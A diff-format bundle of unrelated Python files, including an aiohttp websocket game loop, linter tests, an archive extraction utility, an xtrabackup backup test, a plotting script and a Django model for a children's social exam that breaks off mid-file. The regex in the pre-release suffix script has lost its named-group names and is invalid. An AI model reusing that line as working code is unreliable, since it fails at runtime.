b/pool/shard008/Python/0075289_game_loop_basic.py @@ -0,0 +1,44 @@ +import asyncio +from aiohttp import web + +async def handle(request): + index = open("index.html", 'rb') + content = index.read() + return web.Response(body=content, content_type='text/html') + + +async def wshandler(request): + app = request.app + ws = web.WebSocketResponse() + await ws.prepare(request) + app["sockets"].append(ws) + + while 1: + msg = await ws.receive() + if msg.tp == web.MsgType.text: + print("Got message %s" % msg.data) + ws.send_str("Pressed key code: {}".format(msg.data)) + elif msg.tp == web.MsgType.close or\ + msg.tp == web.MsgType.error: + break + + app["sockets"].remove(ws) + print("Closed connection") + return ws + +async def game_loop(app): + while 1: + for ws in app["sockets"]: + ws.send_str("game loop says: tick") + await asyncio.sleep(2) + + +app = web.Application() +app["sockets"] = [] + +asyncio.ensure_future(game_loop(app)) + +app.router.add_route('GET', '/connect', wshandler) +app.router.add_route('GET', '/', handle) + +web.run_app(app) diff --git a/pool/shard008/Python/0075290_test_lint.py b/pool/shard008/Python/0075290_test_lint.py new file mode 100644 index 0000000000000000000000000000000000000000..fd388bc74090537eb7042a5788431f6209136605 --- /dev/null +++ b/pool/shard008/Python/0075290_test_lint.py @@ -0,0 +1,160 @@ + +# Copyright (C) 2012-2016 - Oscar Campos +# This program is Free Software see LICENSE file for details + +import sys + +from handlers.python_lint_handler import PythonLintHandler + +PYTHON3 = sys.version_info >= (3, 0) + + +class TestLint(object): + """Linting test suite + """ + + _lintable_code = ''' +def f(): + a = 1 + [1 for a, b in [(1, 2)]] + ''' + + _lintable_docstring = ''' +def f(): + """This is a docst + ring"""''' + + _import_validator_code = ''' +import idontexists + + +def main(): + idontexists('Hello World!') + ''' + + def setUp(self): + self._settings = { + 'use_pyflakes': False, 'use_pylint': False, 'use_pep257': False, + 'pep8': False, 'vapidate_imports': False + } + + def test_pyflakes_lint(self): + handler = PythonLintHandler('lint', None, 0, 0, self._check_pyflakes) + self._settings['use_pyflakes'] = True + handler.lint(self._settings, self._lintable_code) + + def test_pyflakes_ignore(self): + handler = PythonLintHandler('lint', None, 0, 0, self._check_pyflakes_ignore) # noqa + self._settings['use_pyflakes'] = True + self._settings['pyflakes_ignore'] = 'F841' + + def test_pep8_lint(self): + self._settings['pep8'] = True + handler = PythonLintHandler('lint', None, 0, 0, self._check_pep8) + handler.lint(self._settings, self._lintable_code) + + def test_pep8_ignores(self): + self._settings['pep8'] = True + self._settings['pep8_ignore'] = ['W293'] + handler = PythonLintHandler('lint', None, 0, 0, self._check_pep8_ignores) # noqa + handler.lint(self._settings, self._lintable_code) + + def test_pep8_max_line_lenght(self): + self._settings['pep8'] = True + self._settings['pep8_max_line_length'] = 120 + handler = PythonLintHandler('lint', None, 0, 0, self._check_pep8_max_line_length) # noqa + handler.lint(self._settings, 'a = \'this is a very long string: {0}\'\n'.format('a' * 80)) # noqa + + def test_pep257_lint(self): + self._settings['use_pep257'] = True + handler = PythonLintHandler('lint', None, 0, 0, self._check_pep257) + handler.lint(self._settings, self._lintable_docstring, '') + + def test_pep257_ignores(self): + self._settings['use_pep257'] = True + self._settings['pep257_ignore'] = ['D100', 'D400', 'D209', 'D205', 'D401'] # noqa + handler = PythonLintHandler('lint', None, 0, 0, self._check_pep257_ignores) # noqa + handler.lint(self._settings, self._lintable_docstring, '') + + def test_import_validator(self): + self._settings['validate_imports'] = True + handler = PythonLintHandler('lint', None, 0, 0, self._check_validate_imports) # noqa + handler.lint(self._settings, self._import_validator_code, '') + + def _check_pyflakes(self, result): + assert result['success'] is True + assert len(result['errors']) == 1 + assert result['errors'][0]['level'] == 'W' + err = 'list comprehension redefines \'a\' from line 3' \ + if not PYTHON3 else 'local variable \'a\' is assigned to but never used' # noqa + assert result['errors'][0]['raw_error'] == err + assert result['errors'][0]['underline_range'] is False + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pep8(self, result): + assert result['success'] is True + assert len(result['errors']) == 2 + error1 = result['errors'][0] + assert error1['raw_error'] == '[V] PEP 8 (W391): blank line at end of file' # noqa + assert error1['level'] == 'V' + assert error1['underline_range'] is True + error2 = result['errors'][1] + assert error2['raw_error'] == '[V] PEP 8 (W293): blank line contains whitespace' # noqa + assert error2['level'] == 'V' + assert error2['underline_range'] is True + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pep8_ignores(self, result): + assert result['success'] is True + assert len(result['errors']) == 1 + error1 = result['errors'][0] + assert error1['raw_error'] == '[V] PEP 8 (W391): blank line at end of file' # noqa + assert error1['level'] == 'V' + assert error1['underline_range'] is True + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pep8_max_line_length(self, result): + assert result['success'] is True + assert len(result['errors']) == 0 + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pyflakes_ignore(self, result): + assert result['success'] is True + assert len(result['errors']) == 0 + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pep257(self, result): + assert result['success'] is True + assert len(result['errors']) == 5 + raw_errors = [r['raw_error'] for r in result['errors']] + assert '[V] PEP 257 (D100): Missing docstring in public module' in raw_errors # noqa + assert '[V] PEP 257 (D209): Multi-line docstring closing quotes should be on a separate line' in raw_errors # noqa + assert '[V] PEP 257 (D205): 1 blank line required between summary line and description (found 0)' in raw_errors # noqa + assert '[V] PEP 257 (D400): First line should end with a period (not \'t\')' in raw_errors # noqa + assert '[V] PEP 257 (D401): First line should be in imperative mood (\'Thi\', not \'This\')' in raw_errors # noqa + + error1, error2, error3, error4, error5 = result['errors'] + assert (error1['level'], error2['level'], error3['level'], error4['level'], error5['level']) == ('V', 'V', 'V', 'V', 'V') # noqa + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_pep257_ignores(self, result): + assert result['success'] is True + assert len(result['errors']) == 0 + assert result['uid'] == 0 + assert result['vid'] == 0 + + def _check_validate_imports(self, result): + assert result['success'] is True + assert len(result['errors']) == 1 + assert result['errors'][0]['raw_error'] == "[E] ImportValidator (801): can't import idontexists" # noqa + assert result['errors'][0]['code'] == 801 + assert result['errors'][0]['level'] == 'E' + assert result['errors'][0]['underline_range'] is True + assert result['uid'] == 0 + assert result['vid'] == 0 diff --git a/pool/shard008/Python/0075292_archive_util.py b/pool/shard008/Python/0075292_archive_util.py new file mode 100644 index 0000000000000000000000000000000000000000..cd4c3fbce3ff218a09b9c1bd8325051a8a82a56a --- /dev/null +++ b/pool/shard008/Python/0075292_archive_util.py @@ -0,0 +1,205 @@ +"""Utilities for extracting common archive formats""" + + +__all__ = [ + "unpack_archive", "unpack_zipfile", "unpack_tarfile", "default_filter", + "UnrecognizedFormat", "extraction_drivers", "unpack_directory", +] + +import zipfile, tarfile, os, shutil +from pkg_resources import ensure_directory +from distutils.errors import DistutilsError + +class UnrecognizedFormat(DistutilsError): + """Couldn't recognize the archive type""" + +def default_filter(src,dst): + """The default progress/filter callback; returns True for all files""" + return dst + + + + + + + + + + + + + + + + + + + + + + + +def unpack_archive(filename, extract_dir, progress_filter=default_filter, + drivers=None +): + """Unpack `filename` to `extract_dir`, or raise ``UnrecognizedFormat`` + + `progress_filter` is a function taking two arguments: a source path + internal to the archive ('/'-separated), and a filesystem path where it + will be extracted. The callback must return the desired extract path + (which may be the same as the one passed in), or else ``None`` to skip + that file or directory. The callback can thus be used to report on the + progress of the extraction, as well as to filter the items extracted or + alter their extraction paths. + + `drivers`, if supplied, must be a non-empty sequence of functions with the + same signature as this function (minus the `drivers` argument), that raise + ``UnrecognizedFormat`` if they do not support extracting the designated + archive type. The `drivers` are tried in sequence until one is found that + does not raise an error, or until all are exhausted (in which case + ``UnrecognizedFormat`` is raised). If you do not supply a sequence of + drivers, the module's ``extraction_drivers`` constant will be used, which + means that ``unpack_zipfile`` and ``unpack_tarfile`` will be tried, in that + order. + """ + for driver in drivers or extraction_drivers: + try: + driver(filename, extract_dir, progress_filter) + except UnrecognizedFormat: + continue + else: + return + else: + raise UnrecognizedFormat( + "Not a recognized archive type: %s" % filename + ) + + + + + + + +def unpack_directory(filename, extract_dir, progress_filter=default_filter): + """"Unpack" a directory, using the same interface as for archives + + Raises ``UnrecognizedFormat`` if `filename` is not a directory + """ + if not os.path.isdir(filename): + raise UnrecognizedFormat("%s is not a directory" % (filename,)) + + paths = {filename:('',extract_dir)} + for base, dirs, files in os.walk(filename): + src,dst = paths[base] + for d in dirs: + paths[os.path.join(base,d)] = src+d+'/', os.path.join(dst,d) + for f in files: + name = src+f + target = os.path.join(dst,f) + target = progress_filter(src+f, target) + if not target: + continue # skip non-files + ensure_directory(target) + f = os.path.join(base,f) + shutil.copyfile(f, target) + shutil.copystat(f, target) + + + + + + + + + + + + + + + + + + +def unpack_zipfile(filename, extract_dir, progress_filter=default_filter): + """Unpack zip `filename` to `extract_dir` + + Raises ``UnrecognizedFormat`` if `filename` is not a zipfile (as determined + by ``zipfile.is_zipfile()``). See ``unpack_archive()`` for an explanation + of the `progress_filter` argument. + """ + + if not zipfile.is_zipfile(filename): + raise UnrecognizedFormat("%s is not a zip file" % (filename,)) + + z = zipfile.ZipFile(filename) + try: + for info in z.infolist(): + name = info.filename + + # don't extract absolute paths or ones with .. in them + if name.startswith('/') or '..' in name: + continue + + target = os.path.join(extract_dir, *name.split('/')) + target = progress_filter(name, target) + if not target: + continue + if name.endswith('/'): + # directory + ensure_directory(target) + else: + # file + ensure_directory(target) + data = z.read(info.filename) + f = open(target,'wb') + try: + f.write(data) + finally: + f.close() + del data + finally: + z.close() + + +def unpack_tarfile(filename, extract_dir, progress_filter=default_filter): + """Unpack tar/tar.gz/tar.bz2 `filename` to `extract_dir` + + Raises ``UnrecognizedFormat`` if `filename` is not a tarfile (as determined + by ``tarfile.open()``). See ``unpack_archive()`` for an explanation + of the `progress_filter` argument. + """ + + try: + tarobj = tarfile.open(filename) + except tarfile.TarError: + raise UnrecognizedFormat( + "%s is not a compressed or uncompressed tar file" % (filename,) + ) + + try: + tarobj.chown = lambda *args: None # don't do any chowning! + for member in tarobj: + if member.isfile() or member.isdir(): + name = member.name + # don't extract absolute paths or ones with .. in them + if not name.startswith('/') and '..' not in name: + dst = os.path.join(extract_dir, *name.split('/')) + dst = progress_filter(name, dst) + if dst: + if dst.endswith(os.sep): + dst = dst[:-1] + try: + tarobj._extract_member(member,dst) # XXX Ugh + except tarfile.ExtractError: + pass # chown/chmod/mkfifo/mknode/makedev failed + return True + finally: + tarobj.close() + + + + +extraction_drivers = unpack_directory, unpack_zipfile, unpack_tarfile + + diff --git a/pool/shard008/Python/0075297_loggings.py b/pool/shard008/Python/0075297_loggings.py new file mode 100644 index 0000000000000000000000000000000000000000..605445c57c4f8f581275894dd08c63352c7a3e3b --- /dev/null +++ b/pool/shard008/Python/0075297_loggings.py @@ -0,0 +1,34 @@ +__all__ = [ + 'ONCE_PER', +] + +import sys +import threading + +from .assertions import ASSERT + +ASSERT(hasattr(sys, '_getframe'), 'expect sys._getframe') + + +def get_location(depth): + frame = sys._getframe(depth) + return frame.f_code.co_filename, frame.f_lineno + + +class OncePer: + + def __init__(self): + self._lock = threading.Lock() + self._num_calls = {} + + def __call__(self, period, log, *args, **kwargs): + location = get_location(2) + with self._lock: + num_calls = self._num_calls.setdefault(location, 0) + self._num_calls[location] = num_calls + 1 + if num_calls % period != 0: + return + log(*args, **kwargs) + + +ONCE_PER = OncePer() diff --git a/pool/shard008/Python/0075300_test_sizes.py b/pool/shard008/Python/0075300_test_sizes.py new file mode 100644 index 0000000000000000000000000000000000000000..235e7bfcbdd6a7dec2cf67a28c0c3487836df3bd --- /dev/null +++ b/pool/shard008/Python/0075300_test_sizes.py @@ -0,0 +1,73 @@ +import unittest + +from vstruct2.bases import * +from vstruct2.types import * + +class SizesTest(unittest.TestCase): + + def test_int8(self): + i = int8() + self.assertEqual(len(i.vsEmit()), 1) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 1) + + def test_int16(self): + i = int16() + self.assertEqual(len(i.vsEmit()), 2) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 2) + + def test_int32(self): + i = int32() + self.assertEqual(len(i.vsEmit()), 4) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 4) + + def test_int64(self): + i = int64() + self.assertEqual(len(i.vsEmit()), 8) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 8) + + def test_vbytes(self): + i = vbytes(size=4) + self.assertEqual(len(i.vsEmit()), 4) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 4) + + def test_cstr(self): + i = cstr(size=4) + self.assertEqual(len(i.vsEmit()), 4) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 4) + + def test_zstr(self): + # zstr automatic resizing is documented, + # so we'll allow it to not emit `size` bytes + i = zstr(size=4) + self.assertEqual(len(i.vsEmit()), 1) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 1) + + def test_varray_int8(self): + i = varray(4, int8)() + self.assertEqual(len(i.vsEmit()), 4) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 4) + + def test_varray_vbytes(self): + i = VArray(fields=[vbytes(size=1) for _ in range(4)]) + self.assertEqual(len(i.vsEmit()), 4) + i.vsParse(b"\x00" * 8) + self.assertEqual(len(i.vsEmit()), 4) + + +def test(): + try: + unittest.main() + except SystemExit: + pass + + +if __name__ == '__main__': + test() diff --git a/pool/shard008/Python/0075304_xb_incremental_compressed_test.py b/pool/shard008/Python/0075304_xb_incremental_compressed_test.py new file mode 100644 index 0000000000000000000000000000000000000000..d911fd27e1d236a7c48f427af771acd6447bc9d9 --- /dev/null +++ b/pool/shard008/Python/0075304_xb_incremental_compressed_test.py @@ -0,0 +1,219 @@ +#! /usr/bin/env python +# -*- mode: python; indent-tabs-mode: nil; -*- +# vim:expandtab:shiftwidth=2:tabstop=2:smarttab: +# +# Copyright (C) 2011 Patrick Crews +# +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +import os +import shutil + +from lib.util.mysqlBaseTestCase import mysqlBaseTestCase + +server_requirements = [['--innodb.file-per-table' + ,'--innodb.strict-mode' + ,'--innodb.file-format=Barracuda' + ]] +servers = [] +server_manager = None +test_executor = None +# we explicitly use the --no-timestamp option +# here. We will be using a generic / vanilla backup dir +backup_path = None + +def skip_checks(system_manager): + if not system_manager.code_manager.test_tree.innodb_version or not system_manager.code_manager.test_tree.xtradb_version: + return True, "Test requires XtraDB or Innodb plugin." + return False, '' + + +class basicTest(mysqlBaseTestCase): + + def setUp(self): + master_server = servers[0] # assumption that this is 'master' + backup_path = os.path.join(master_server.vardir, 'full_backup') + inc_backup_path = os.path.join(master_server.vardir, 'inc_backup') + # remove backup paths + for del_path in [backup_path, inc_backup_path]: + if os.path.exists(del_path): + shutil.rmtree(del_path) + + def load_table(self, table_name, row_count, server): + queries = [] + for i in range(row_count): + queries.append("INSERT INTO %s VALUES (%d, %d)" %(table_name,i, row_count)) + retcode, result = self.execute_queries(queries, server) + self.assertEqual(retcode, 0, msg=result) + + + def test_ib_incremental(self): + self.servers = servers + master_server = servers[0] + logging = test_executor.logging + retcode, innodb_version = master_server.get_innodb_version() + if not innodb_version: + logging.warning("Test requires XtraDB or Innodb plugin, skipping test...") + return + + else: + innobackupex = test_executor.system_manager.innobackupex_path + xtrabackup = test_executor.system_manager.xtrabackup_path + master_server = servers[0] # assumption that this is 'master' + backup_path = os.path.join(master_server.vardir, 'full_backup') + inc_backup_path = os.path.join(master_server.vardir, 'inc_backup') + output_path = os.path.join(master_server.vardir, 'innobackupex.out') + exec_path = os.path.dirname(innobackupex) + table_name = "`test`" + page_sizes = [1,2,4,8,16] + + for page_size in page_sizes: + self.setUp() + # populate our server with a test bed + queries = ["DROP TABLE IF EXISTS %s" %(table_name) + ,("CREATE TABLE %s " + "(`a` int(11) DEFAULT NULL, " + "`number` int(11) DEFAULT NULL) " + " ENGINE=InnoDB DEFAULT CHARSET=latin1" + %(table_name) + ) + ,("ALTER TABLE test ENGINE=InnoDB " + "ROW_FORMAT=compressed KEY_BLOCK_SIZE=%d" %page_size + ) + ] + retcode, result = self.execute_queries(queries, master_server) + self.assertEqual(retcode, 0, msg = result) + row_count = 100 + self.load_table(table_name, row_count, master_server) + + # take a backup + cmd = [ xtrabackup + , "--defaults-file=%s" %master_server.cnf_file + , "--datadir=%s" %master_server.datadir + , "--backup" + , "--target-dir=%s" %backup_path + ] + cmd = " ".join(cmd) + retcode, output = self.execute_cmd(cmd, output_path, exec_path, True) + self.assertEqual(retcode,0,output) + + # load more data + row_count = 500 + self.load_table(table_name, row_count, master_server) + + # Get a checksum for our table + query = "CHECKSUM TABLE %s" %table_name + retcode, orig_checksum = self.execute_query(query, master_server) + self.assertEqual(retcode, 0, msg=result) + logging.test_debug("Original checksum: %s" %orig_checksum) + + # Take an incremental backup + cmd = [ xtrabackup + , "--defaults-file=%s" %master_server.cnf_file + , "--datadir=%s" %master_server.datadir + , "--backup" + , "--target-dir=%s" %inc_backup_path + , "--incremental-basedir=%s" %backup_path + ] + cmd = " ".join(cmd) + logging.test_debug(cmd) + retcode, output = self.execute_cmd(cmd, output_path, exec_path, True) + self.assertEqual(retcode,0,output) + + # Clear our table so we know the backup restored + query = "DELETE FROM %s" %table_name + retcode, result = self.execute_query(query,master_server) + self.assertEqual(retcode, 0, result) + + # shutdown our server + master_server.stop() + + # prepare our main backup + cmd = [ xtrabackup + , "--prepare" + , "--apply-log-only" + , "--datadir=%s" %master_server.datadir + , "--use-memory=500M" + , "--target-dir=%s" %backup_path + ] + cmd = " ".join(cmd) + retcode, output = self.execute_cmd(cmd, output_path, exec_path, True) + self.assertTrue(retcode==0,output) + + # prepare our incremental backup + cmd = [ xtrabackup + , "--prepare" + , "--apply-log-only" + , "--datadir=%s" %master_server.datadir + , "--use-memory=500M" + , "--target-dir=%s" %backup_path + , "--incremental-dir=%s" %(inc_backup_path) + ] + cmd = " ".join(cmd) + retcode, output = self.execute_cmd(cmd, output_path, exec_path, True) + self.assertTrue(retcode==0,output) + + # do final prepare on main backup + cmd = [ xtrabackup + , "--prepare" + , "--datadir=%s" %master_server.datadir + , "--use-memory=500M" + , "--target-dir=%s" %backup_path + ] + cmd = " ".join(cmd) + retcode, output = self.execute_cmd(cmd, output_path, exec_path, True) + self.assertTrue(retcode==0,output) + + # copy our data files back + for root, dirs, files in os.walk(backup_path): + if files: + file_info = root.split(backup_path)[1] + for file_name in files: + # We do a quick check to make sure + # no names start with '/' as os.path + # throws a hissy when it sees such things + if file_info.startswith('/'): + file_info = file_info[1:] + if file_name.startswith('/'): + file_name = file_name[1:] + to_path = os.path.join(master_server.datadir + , file_info + , file_name) + new_dir = os.path.dirname(to_path) + try: + if not os.path.exists(new_dir): + os.makedirs(new_dir) + except OSError, e: + logging.error("Could not create directory: %s | %s" %(new_dir, e)) + try: + shutil.copy(os.path.join(root,file_name),to_path) + except IOError, e: + logging.error( "ERROR: Could not copy file: %s | %s" %(file_name, e)) + + # restart server (and ensure it doesn't crash) + master_server.start() + self.assertTrue(master_server.status==1, 'Server failed restart from restored datadir...') + + # Get a checksum for our table + query = "CHECKSUM TABLE %s" %table_name + retcode, restored_checksum = self.execute_query(query, master_server) + self.assertEqual(retcode, 0, msg=restored_checksum) + logging.test_debug("Restored checksum: %s" %restored_checksum) + + self.assertEqual(orig_checksum, restored_checksum, msg = "Orig: %s | Restored: %s" %(orig_checksum, restored_checksum)) + + + diff --git a/pool/shard008/Python/0075307_Re_hist_plot.py b/pool/shard008/Python/0075307_Re_hist_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..6cb93af33ffea0a391409b8dea36d5bdba66600c --- /dev/null +++ b/pool/shard008/Python/0075307_Re_hist_plot.py @@ -0,0 +1,87 @@ +## HISTOGRAM PLOTTING FOR REYNOLDS AND ROSSBY NUMBERS +from __future__ import print_function +path = '/home/mkloewer/python/swm/' +import os; os.chdir(path) # change working directory +import numpy as np +from scipy import sparse +import matplotlib.pyplot as plt +import time as tictoc +from netCDF4 import Dataset +import glob +import matplotlib + +plt.rcParams['mathtext.fontset'] = 'cm' +plt.rcParams['mathtext.rm'] = 'serif' + +# OPTIONS +# runfolder = [0,6,10,14,15] +# print('Creating ReRo histogram plot from run '+str(runfolder)) +# +# # read data +# runpath = path+'data/run%04i' % runfolder[0] +# D1 = np.load(runpath+'/analysis/Re_hist.npy').all() +# +# runpath = path+'data/run%04i' % runfolder[1] +# D2 = np.load(runpath+'/analysis/Re_hist.npy').all() +# +# runpath = path+'data/run%04i' % runfolder[2] +# D3 = np.load(runpath+'/analysis/Re_hist.npy').all() +# +# runpath = path+'data/run%04i' % runfolder[3] +# D4 = np.load(runpath+'/analysis/Re_hist.npy').all() +# +# runpath = path+'data/run%04i' % runfolder[4] +# D5 = np.load(runpath+'/analysis/Re_hist.npy').all() + + +# OPTIONS +runfolder = [3,10,13,12,14] +print('Creating ReRo histogram plot from run '+str(runfolder)) + +## read data +runpath = path+'data/newold/run%04i' % runfolder[0] +D1 = np.load(runpath+'/analysis/Re_hist.npy').all() + +runpath = path+'data/newold/run%04i' % runfolder[1] +D2 = np.load(runpath+'/analysis/Re_hist.npy').all() + +runpath = path+'stoch/data/run%04i' % runfolder[2] +D3 = np.load(runpath+'/analysis/Re_hist.npy').all() + +runpath = path+'stoch/data/run%04i' % runfolder[3] +D4 = np.load(runpath+'/analysis/Re_hist.npy').all() + +runpath = path+'stoch/data/run%04i' % runfolder[4] +D5 = np.load(runpath+'/analysis/Re_hist.npy').all() + +## PLOT +fig,ax1 = plt.subplots(1,1,figsize=(8,6)) + +ax1.plot(D1['Re_mid'],D1['ReH'],'C0',label=r'Low resolution, $\Delta x = $30km',lw=3) +ax1.plot(D2['Re_mid'],D2['ReH']/16,'C2',label=r'High resolution, $\Delta x = $7.5km',lw=3) +ax1.plot(D3['Re_mid'],D3['ReH'],'C3',label=r'LR + weak backscatter',ls='--') +ax1.plot(D4['Re_mid'],D4['ReH'],'C1',label=r'LR + moderate backscatter',ls='--') +ax1.plot(D5['Re_mid'],D5['ReH'],'C5',label=r'LR + strong backscatter',ls='--') + +ax1.axvline(np.log10(D1['Re_mean']),c='C0',ls='-',lw=2) +ax1.axvline(np.log10(D2['Re_mean']),c='C2',ls='-',lw=2) +ax1.axvline(np.log10(D3['Re_mean']),c='C3',ls='--') +ax1.axvline(np.log10(D4['Re_mean']),c='C1',ls='--') +ax1.axvline(np.log10(D5['Re_mean']),c='C5',ls='--') + +ax1.text(np.log10(D1['Re_mean']),5e5,'mean($R_e$)',rotation=90,ha='right',color='k') + +#ax1.set_yscale('log') + +ax1.legend(loc=2) + +ax1.set_xlim(-3,5) +ax1.set_ylim(1,3e6) + +ax1.set_title('Reynolds number histogram',loc='left') +ax1.set_xlabel('log$_{10}(R_e)$') +ax1.set_ylabel(r'$N$') + +plt.tight_layout() +plt.savefig(path+'compare/Re_hist_nobf.png') +plt.close(fig) \ No newline at end of file diff --git a/pool/shard008/Python/0075319_docstheme-lang-display-name.py b/pool/shard008/Python/0075319_docstheme-lang-display-name.py new file mode 100644 index 0000000000000000000000000000000000000000..e62acca64f5d9d7010597495758cd97eb6ebba9f --- /dev/null +++ b/pool/shard008/Python/0075319_docstheme-lang-display-name.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +# implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import sys + +import babel + +# Print full name of short language code, e.g. +# returns "Deutsch" for "de". + +lang_code = sys.argv[1] +try: + lo = babel.Locale.parse(lang_code) + print(lo.get_display_name()) +except Exception: + print(lang_code) diff --git a/pool/shard008/Python/0075321_init__.py b/pool/shard008/Python/0075321_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..0ba7ece63a03a992b1d9ae2239542eaeab98329c --- /dev/null +++ b/pool/shard008/Python/0075321_init__.py @@ -0,0 +1,38 @@ +# Copyright 2012 NEC Corporation. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# @author: Ryota MIBU + +from neutron.openstack.common import importutils +from neutron.openstack.common import log as logging + + +LOG = logging.getLogger(__name__) +DRIVER_PATH = "neutron.plugins.nec.drivers.%s" +DRIVER_LIST = { + 'trema': DRIVER_PATH % "trema.TremaPortBaseDriver", + 'trema_port': DRIVER_PATH % "trema.TremaPortBaseDriver", + 'trema_portmac': DRIVER_PATH % "trema.TremaPortMACBaseDriver", + 'trema_mac': DRIVER_PATH % "trema.TremaMACBaseDriver", + 'pfc': DRIVER_PATH % "pfc.PFCV51Driver", + 'pfc_v3': DRIVER_PATH % "pfc.PFCV3Driver", + 'pfc_v4': DRIVER_PATH % "pfc.PFCV4Driver", + 'pfc_v5': DRIVER_PATH % "pfc.PFCV5Driver", + 'pfc_v51': DRIVER_PATH % "pfc.PFCV51Driver", +} + + +def get_driver(driver_name): + LOG.info(_("Loading OFC driver: %s"), driver_name) + driver_klass = DRIVER_LIST.get(driver_name) or driver_name + return importutils.import_class(driver_klass) diff --git a/pool/shard008/Python/0075322_printprereleasesuffix.py b/pool/shard008/Python/0075322_printprereleasesuffix.py new file mode 100644 index 0000000000000000000000000000000000000000..fc129695e48cc9a28fe0008d1918253bcec735ee --- /dev/null +++ b/pool/shard008/Python/0075322_printprereleasesuffix.py @@ -0,0 +1,30 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. + +# Prints the pre-release version suffix based on the version string +# +# Examples: +# 2.1a3 > " 2.1 Alpha 3" +# 2.1a3pre > "" +# 3.2b4 > " 3.2 Beta 4" +# 3.2b4pre > "" + +import sys +import re + +def get_prerelease_suffix(version): + """ Returns the prerelease suffix from the version string argument """ + + def mfunc(m): + return " %s %s %s" % (m.group('prefix'), + {'a': 'Alpha', 'b': 'Beta'}[m.group('c')], + m.group('suffix')) + result, c = re.subn(r'^(?P(\d+\.)*\d+)(?P[ab])(?P\d+)$', + mfunc, version) + if c != 1: + return '' + return result + +if len(sys.argv) == 2: + print get_prerelease_suffix(sys.argv[1]) diff --git a/pool/shard008/Python/0075324_SocialExam.py b/pool/shard008/Python/0075324_SocialExam.py new file mode 100644 index 0000000000000000000000000000000000000000..a1bce193b1a18e46f43bfc2940a9b114130e3ac9 --- /dev/null +++ b/pool/shard008/Python/0075324_SocialExam.py @@ -0,0 +1,195 @@ +# coding=utf-8 + +import datetime +import uuid + +from django.db import models +from django.forms import ModelForm +from django.forms import CheckboxInput +from django.forms import DateInput + +from Child import Child + + +"""Model for the Social Exam, which keeps track of the children's +social status, including family situations and legal status. This +model affects child priority. This model references the Signature +model and the Child model. All fields are allowed to be saved null so +that forms can be saved before validation to prevent losing +information if the form can't be completed. This is overriden in the +clean() method. +""" + +class SocialExam(models.Model): + # The priority choices + HIGH = 1 + MEDIUM = 2 + LOW = 3 + PRIORITY_CHOICES = ( + (HIGH, 'Alta Prioridad'), + (MEDIUM, 'Prioridad Media'), + (LOW, 'Prioridad Baja') + ) + + uuid = models.CharField(max_length=200, unique=True, default=uuid.uuid4) + child = models.ForeignKey(Child, blank=True, null=True) + date = models.DateField(default=datetime.date.today) + has_birth_certificate = models.BooleanField(default=False) + original_birth_certificate = models.BooleanField(default=False) + dni = models.BooleanField(default=False) + dni_in_process = models.BooleanField(default=False) + sis = models.BooleanField(default=False) + sis_in_process = models.BooleanField(default=False) + dni_sis_no_comments = models.TextField(blank=True, null=True) + antecedents = models.TextField(blank=True, null=True) + family_situation = models.TextField(blank=True, null=True) + general_comments = models.TextField(blank=True, null=True) + visitors_allowed = models.BooleanField(default=True) + visitors_allowed_no_comments = models.TextField(blank=True, null=True) + diagnosis = models.TextField(blank=True, null=True) + recommendation = models.TextField(blank=True, null=True) + priority = models.IntegerField(choices=PRIORITY_CHOICES, + default=HIGH) + signature_name = models.CharField(max_length=200, blank=True, null=True) + signature_surname = models.CharField(max_length=200, blank=True, + null=True) + signature_emp = models.CharField(max_length=200, blank=True, null=True) + signature_direction = models.CharField(max_length=200, blank=True, + null=True) + signature_cell = models.CharField(max_length=200, blank=True, null=True) + + # For de-duping forms that have been edited. + last_saved = models.DateTimeField(default=datetime.datetime.utcnow) + + # Meta class defines database table and labels, and clears any + # default permissions. + class Meta: + app_label = 'tracker' + db_table = 'tracker_socialexam' + default_permissions = () + + +"""The form for the Social Exam.""" + +class SocialExamForm(ModelForm): + + # Meta class defines the fields and Spanish labels for the form. + # Also defines any widgets being used. + class Meta: + model = SocialExam + + fields = ( + 'date', + 'has_birth_certificate', + 'original_birth_certificate', + 'dni', + 'dni_in_process', + 'sis', + 'sis_in_process', + 